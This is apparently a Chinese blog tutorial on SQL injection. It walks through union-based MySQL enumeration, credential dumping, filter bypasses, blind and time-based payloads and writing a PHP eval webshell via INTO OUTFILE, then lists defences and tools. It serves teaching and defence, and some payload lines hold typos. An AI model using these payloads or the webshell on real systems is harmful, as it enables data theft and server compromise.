SQL注入原理

  SQL注入是指攻击者通过精心构造SQL语句达到欺骗服务器、绕过服务器的检测过滤,最终达到执行该SQL语句,并且输出攻击者想要获取的隐秘信息的过程。

  例如:

$sql="select * from users where username=".$_GET["id"];

  上述语句id的值是可控的,如果我们构造属于我们自己的SQL语句并且让输入框执行,那么就会产生注入漏洞。

1 注入方法

  • 单引号(’)

  如有下面的SQL语句:

    Select * from user where id=1  

  如果我们在id值之后加一个“ ‘ ”,那么sql语句就会变为:

    Select * from user where id=1'  

  此时带入输入库查询时由于数据库对id之后的“ ‘ ”语法格式错误,就会产生报错。最终执行失败。同时也说明此处的ID是一个可以控制的量,服务器对用户的输入不经过过滤直接带入了数据库进行查询,此处可能是一个注入点。

  • and方法   当页面不返回任何错误信息的时候,我们就可以使用此方法进行推断,当我们在访问页面的URL参数之后加上and 1=1 显示正常,而and 1=2 显示错误的时候即说明存在注入漏洞!因为!and 1=1永远为正确,而1=2为错误,and的逻辑运算要求两者都需要正确才可以返回真值。如果提交以上的构造语句之后,显示的页面与正常的页面没有任何区别,那么说明数据库对用户输入的信息进行了过滤操作,否则说明用户构造的SQL语句带入了数据库进行查询。

  • OR方法

  修改正常URL后面的参数id的数值后回车,显示错误页面,当加入or 1=1时显示正常页面,说明存在注入可能,因为or 1=1 永远为真,同时也说明出现上述现象是带入了数据库查询语句中,并且执行了。

  • 加减法

这里我们需要区分一下数字型和字符串型:

    数字型:不需要使用单引号来表示

    其他类型:使用单引号来表示

  加法,我们在参数输入1+1,看看返回的数据是不是id等于2的结果,这里注意一下+号在SQL语句是有特效含义的,所以我们要对其进行url编码,也就是%2b。减法,是同样的道理,不过不需要对-号进行url编码。

2 mysql注入流程

  • 判断是否存在SQL注入
       and 1=1  
       and 1=2 
    
  • 爆字段
      order by 猜测的字段数  
    
  • 匹配字段
      and 1=1 union select 1,2,3,......,n  
    
  • 获取显示字段
      and 1=2 union select 1,2,3,4......n  
    
  • 利用内置函数爆数据库信息
      version() database() user()  
    

    例如:

      and 1=2 union all select version()  
      and 1=2 union all select database()  
      and 1=2 union all select   user()  
    
  • 操作系统信息
      and  1=2 union  all select  @@global.version_compile_os from  mysql.user  
    
  • 数据库权限
      and ord(mid(user(),1,1))=114              返回正常则说明为root  
    
  • 爆库(mysql>5.0)

Mysql 5.0以上版本内置库information_schema,存储着mysql的所有数据库和表结构信息。

    and 1=2 union selec 1,2,3,SCHEMA_NAME,5,6,7,8,9,10  from  information_schema.SCHEMA limit 0,1  
  • 猜表
      and  1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)  
    
  • 爆字段
      and 1=2 union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schemation.COLUMNS where TABLE_NAMEE=表名(十六进制) limit 0 ,1  
    
  • 爆密码
      and 1=2 union select 1,2,3,用户名段,5,6,7,8,9 from 表名 limit 0,1  
    
  • 一个字段显示两个数据内容): ``` Union select 1,2,3,concat(用户名段,0x3c,密码段),5,6,7,8,9 form 表名 limit 0,1
  • 直接写马(Root权限) ```

条件:1、知道站点物理路径,2、有足够大的权限(可以用select …. frommysql.user测试),3、magic_quotes_gpc()=OFF

    select ‘<?php eval_r($_POST[cmd])?>'into outfile ‘物理路径'   and  1=2   union  all   select   一句话HEX值   into  outfile   '路径'  

过滤特殊符号的字符型注入

1 过滤了特殊符号的字符型注入

    function blacklist($id)  
    {  
        $id= preg_replace('/or/i',"", $id);         //strip out OR (non case sensitive)  
        $id= preg_replace('/and/i',"", $id);                //Strip out AND (non case sensitive)  
        $id= preg_replace('/[\/\*]/',"", $id);              //strip out /*  
        $id= preg_replace('/[--]/',"", $id);                //Strip out --  
        $id= preg_replace('/[#]/',"", $id);         //Strip out #  
        $id= preg_replace('/[\s]/',"", $id);                //Strip out spaces  
        $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes  
        return $id;  
    }  

  在这部分代码中过滤了“or”、“and”、“/”、“*”、“#”、“s”

绕过方法

  • 因为有过滤,所以order by \and 等命令都不能使用。

  • 用o/**/rder来绕过or过滤

  • 用a/**/nd 来绕过and过滤,或者使ID=0来强制报错

  • 把注释改为;%00截断 2 过滤了逗号的字符型注入
      function blacklist($id)  
      {  
          if(stripos($id,',')){       //stripos函数作用:查找 "php" 在字符串中第一次出现的位置  
            $id='1';  
          }else{  
            $id=$id;  
          }  
          return $id;  
      }  
    

    绕过方法

  • 在注入语句中使用Join函数即可绕过
      http://127.0.0.1:8080/?id=1' and 1=2 union select * from ( (select 1)a  JOIN  (select 2) b  JOIN (select 3) c )%23  
    

盲注

  盲注是SQL注入的一种,之所以称为盲注是因为他不会根据攻击者的SQL注入语句返回攻击者想要获取的错误信息。

SQL盲注分类

布尔盲注:布尔很明显有True和Flase,也就是说它会根据攻击者的注入信息返回True或者False,也就没有了之前的报错信息。

时间盲注:界面返回值只有一种True,无论输入任何值,返回情况都会按照正常来处理。加入特定的时间函数,通过查看WEB页面的返回时间差来判断注入的语句是否正确。

报错盲注:根据返回的显示错误信息构造SQL语句来进行的注入,称为报错盲注。

盲注中用到的函数

Length()                  函数 返回字符串的长度  
Substr()                  截取字符串  
Ascii()                   返回字符的ascii码  
sleep(n)                   将程序挂起一段时间 n为n秒  
if(expr1,expr2,expr3)      判断语句,如果第一个语句正确就执行第二个语句,如果错误执行第三个语句 
  • 基于布尔SQL盲注————构造逻辑判断

left(a,b)

    left(database(),1) >'s'       

database()显示数据库名称,left(a,b)从左侧截取a的前b位

Substr()

    ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+   

substr(a,b,c)从b位置开始,截取字符串a的c长度。

Ascii()将某个字符转换为ascii值

ord()、mid()

    ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23    

mid(a,b,c)从位置b开始,截取a字符串的c位

Ord()函数同ascii(),将字符转为ascii值

regexp()正则注入

    select user() regexp '^[a-z]';  
   正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式。  

匹配第二位:

    select user() regexp '^ro'  

当正确的时候显示结果为1,不正确的时候显示结果为0.

Like匹配注入

和正则注入类似,mysql在匹配的时候可以使用like进行匹配

    select user() like 'ro%'  
  • 基于报错的SQL盲注构造payload让信息通过错误提示回显出来
floor()、extravtvalue()、updatexml()
  • 基于时间的SQL盲注——延时注入

if语句+sleep()函数

    If(ascii(substr(database(),1,1))>115,0,sleep(5))%23   

if判断语句,条件为假时,执行sleep

benchmark()函数

    UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (select database() as current) as tb1;  

benchmark(count,expr)用于测试函数的性能,参数一为次数,参数而为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的CPU资源,所以平时推荐使用sleep()函数。

注入防范策略

要防止SQL注入攻击,就必须明白数据库只负责执行SQL语句,根据SQL语句来返回相关的数据。数据库并没有过滤SQL注入的手段,哪怕是存储过程也不例外。要防止SQL注入其实还得从代码入手

严格的数据类型

Java 、C++等强类型语言几乎可以完全忽略数字型注入,而对于PHP等弱类型语言来说存在数字型注入的可能性就非常大了,但是我们还是可以通过严格的判断数据类型来进行防范。

特殊字符转义

攻击者在利用SQL注入时往往会尝试构造SQL注入语句,我们可以通过过滤常用的SQL语句中的一些关键词、关键符号等来防止这类注入的利用。

使用预编译语句

像JAVA、C#这些语言都提供了预编译语句,例如Statement、PreparedStatement这些语句都可以进行预编译处理

使用框架

对于JSP、PHP等我们可以是哟相关的技术类框架来提高安全性,但是也不能全部依靠框架,自己在编码的过程中也要注意diam的安全性。

输入验证

凡是存在输入的地方皆可能存在风险,所以每当我们面对用户的输入操作是我们需要进行严格的过滤措施。

面对用户的输入我们有两种不同类型的验证输入方法:白名单和黑名单!

白名单:只允许在该名单内的用户(或者其他凭据信息)通过验证进行登录或者操作。

黑名单:对该名单内的用户名或者IP地址进行封杀,不允许其进行任何操作。 输出编码

我们除了要验证应用程序收到的输入以外,还要对数据进行编码,这样不仅可以防御SQL注入攻击,还能防止出现其他问题,比如XSS。

使用安全函数

为了提高安全性不少的编程语言都有相应的安全函数,我们可以通过使用这些安全函数来提高系统的安全性!

注入工具

sqlmap pangolin Havij

参考

SQL Injection OWASP SQL Injection SQLi-labsSQL注入练习系统

版权声明:本文为博主原创文章,转载请注明出处。 旭日酒馆